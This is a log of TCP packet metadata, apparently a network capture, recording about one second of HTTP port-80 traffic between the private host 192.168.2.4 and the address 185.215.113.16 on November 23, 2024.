Nov 23, 2024 15:22:33.826785088 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.826865911 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.826901913 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.826975107 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.827810049 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.827879906 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.828031063 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.828846931 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.828947067 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.828990936 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.829035044 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.829899073 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.829982042 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.830058098 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.830159903 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.830949068 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.830992937 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.831180096 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.831222057 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.831971884 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.832081079 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.832093954 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.832221031 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.833072901 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.833142042 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.833156109 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.833311081 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.834085941 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.834146976 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.834223986 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.834275961 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.835185051 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.835259914 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.835304976 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.835359097 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.836178064 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.836219072 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.836271048 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.836325884 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.837203979 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.837292910 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.837326050 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.837393045 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.838268995 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.838330984 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.838421106 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.838481903 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.839310884 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.839374065 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.839420080 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.839462042 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.840370893 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.840420008 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.840459108 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.840498924 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.841404915 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.841458082 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.841506958 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.841555119 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.842413902 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.842492104 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.842530012 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.842621088 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.843482018 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.843552113 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.843594074 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.843724966 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.844480038 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.844518900 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.844829082 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.844886065 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.845531940 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.845643997 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.845671892 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.845717907 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.846556902 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.846632957 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.846651077 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.846709967 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.847630024 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.847712040 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.847759008 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.847889900 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.848673105 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.848777056 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.848784924 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.848917007 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.849698067 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.849788904 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.849812984 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.849967957 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.850759029 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.850833893 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.850847006 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.850877047 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.851779938 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.851875067 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.851890087 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.851939917 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.852823973 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.852881908 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.852947950 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.853053093 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.853869915 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.853945971 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.853982925 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.854068995 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.854897022 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.854969025 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.855091095 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.855206013 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.855952978 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.856025934 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.856102943 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.856209040 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.857002974 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.857063055 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.857108116 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.857161999 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.858041048 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.858131886 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.858149052 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.858189106 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.859066963 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.859121084 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.859169960 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.859222889 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.860379934 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.860466003 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.860521078 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.861148119 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.861236095 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.861262083 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.861469984 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.862186909 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.862251043 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.862289906 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.862328053 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.863372087 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.863419056 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.863423109 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.863472939 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.864279032 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.864403963 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.864449978 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.864715099 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.865336895 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.865457058 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.865482092 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.865504026 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.866415977 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.866480112 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.866528034 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.866571903 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.867410898 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.867465019 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.867474079 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.867578030 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.868498087 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.868549109 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:33.868575096 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:33.868668079 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.006787062 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.006838083 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.006964922 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.007122040 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.007247925 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.007324934 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.007359982 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.007458925 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.008265972 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.008352041 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.008419037 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.009284973 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.009352922 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.009396076 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.009454012 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.010329008 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.010451078 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.010528088 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.011367083 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.011441946 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.011487961 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.011576891 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.012424946 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.012518883 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.012602091 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.012665987 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.013475895 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.013529062 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.013566971 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.013613939 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.014512062 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.014566898 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.014653921 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.014735937 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.015542030 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.015613079 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.015657902 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.015717983 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.016580105 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.016652107 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.016680956 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.016726971 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.017671108 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.017745972 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.017764091 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.018071890 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.018666029 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.018752098 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.018771887 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.018819094 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.019700050 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.019754887 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.019785881 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.019938946 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.020750046 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.020817995 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.020832062 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.021018028 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.021804094 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.021900892 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.021914959 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.021979094 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.023091078 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.023165941 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.023179054 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.023217916 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.024102926 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.024192095 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.024215937 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.024271965 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.024971008 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.025034904 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.025037050 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.025188923 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.025974035 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.026045084 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.026110888 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.026154995 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.027419090 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.027472973 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.027513981 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.027564049 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.028072119 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.028160095 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.028326988 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.028374910 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.029117107 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.029179096 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.029323101 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.029375076 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.030148029 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.030275106 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.030369043 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.031193018 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.031259060 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.031342030 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.031411886 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.032324076 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.032419920 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.032449007 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.032573938 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.033337116 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.033401012 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.033428907 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.033642054 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.034435987 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.034490108 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.034528971 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.034603119 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.035363913 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.035456896 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.035515070 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.035671949 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.036393881 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.036513090 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.036576033 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.037466049 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.037519932 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.037602901 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.037663937 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.038511992 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.038609982 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.038629055 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.038674116 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.039563894 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.039618015 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.039654016 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.039731979 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.040565968 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.040703058 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.040769100 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.041644096 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.041721106 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.041743994 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.041790009 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.042679071 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.042762041 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.042795897 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.042921066 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.043754101 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.043833971 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.043872118 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.043921947 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.044734955 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.044826031 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.044855118 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.044919968 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.045802116 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.045922995 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.045959949 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.046094894 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.046844959 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.046941042 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.046976089 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.047002077 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.047873974 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.047995090 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.047997952 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.048053026 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.048962116 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.049043894 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.049099922 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.049168110 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.049977064 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.050051928 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.050111055 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.050211906 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.051004887 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.051084995 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.051106930 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.051146984 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.052051067 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.052145004 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.052156925 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.052226067 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.053102016 CET	80	49823	185.215.113.16	192.168.2.4
Nov 23, 2024 15:22:34.053205013 CET	49823	80	192.168.2.4	185.215.113.16
Nov 23, 2024 15:22:34.053215981 CET	80	49823	185.215.113.16	192.168.2.4
